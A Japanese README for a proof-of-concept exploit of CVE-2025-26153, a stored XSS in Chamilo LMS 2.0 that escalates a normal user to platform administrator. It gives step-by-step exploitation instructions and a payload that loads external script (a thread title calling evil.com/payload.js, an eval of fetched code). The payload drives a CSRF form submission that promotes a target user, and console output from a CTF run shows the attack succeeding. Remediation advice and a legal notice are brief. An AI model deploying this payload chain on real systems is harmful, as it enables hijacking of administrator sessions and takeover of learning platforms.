
Chamilo-LMS (v2.0) CVE-2025-26153
このリポジトリには、Chamilo LMS における 保存型クロスサイトスクリプティング(XSS)の脆弱性 を悪用し、通常ユーザーからプラットフォーム管理者への 権限昇格 を達成する実証コード(PoC)が含まれています。 この脆弱性は登録・修正済みです: https://nvd.nist.gov/vuln/detail/CVE-2025-26153
脆弱なコードの場所:
/public/main/forum/forumqualify.php - 277行目
$form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
/public/main/forum/viewforum.php - 369行目
.$thread->getTitle().'</a>';
他にもあります!
根本原因:
ステップ 1: 対象ユーザー情報の収集
ソーシャルネットワーク -> 個人情報 に移動するuser_info を開き、以下の情報をメモする:
ステップ 2: カスタムペイロードの生成
python generate_payload.py
payload.js ファイルを生成するステップ 3: ペイロードを外部にホストする
payload.js を公開ホスティングサービスにアップロードする:
ステップ 4: ソーシャルグループにアクセスする
ソーシャルネットワーク -> ソーシャルグループ に移動するステップ 5: ソーシャルグループに参加または作成する
ステップ 6: XSS ペイロードを展開する
eval(x.responseText);x.send()">
YOUR-HOST-SERVER を実際のホスティング URL に置き換えるステップ 7: 権限昇格をトリガーする
ステップ 8: 権限昇格の確認
generate_payload.py スクリプトを使用すると、権限昇格攻撃をカスタマイズできます:
入力パラメータ:
1. 攻撃者が悪意のあるフォーラムスレッドを作成する
└── タイトル: <script src=//evil.com/payload.js></script>
2. 管理者ユーザーがフォーラムを閲覧し、スレッドを表示する
└── ブラウザが外部 JavaScript を読み込み、実行する
3. ペイロードが権限昇格データを含む隠しフォームを作成する
└── 管理者昇格のために特定のユーザー ID をターゲットにする
4. フォームが CSRF 攻撃により自動送信される
└── 管理者のセッション Cookie が自動的に使用される
5. 対象ユーザーがプラットフォーム管理者になる
└── 攻撃者がプラットフォーム全体の制御を獲得する
入力サニタイズ
// 修正前
$threadEntity->getTitle()
// 修正後
htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
出力エンコーディング
<!-- 修正前 -->
{{ thread.title }}
<!-- 修正後 -->
{{ thread.title|escape }}
Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
以下を監視する:
重要な法的通知
この実証コードは、教育目的および許可を得たセキュリティテスト専用 に提供されています。
発見と分析: US Cyber Combine
テスト環境: USCG CTF Environment
攻撃成功時のコンソール出力:
XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200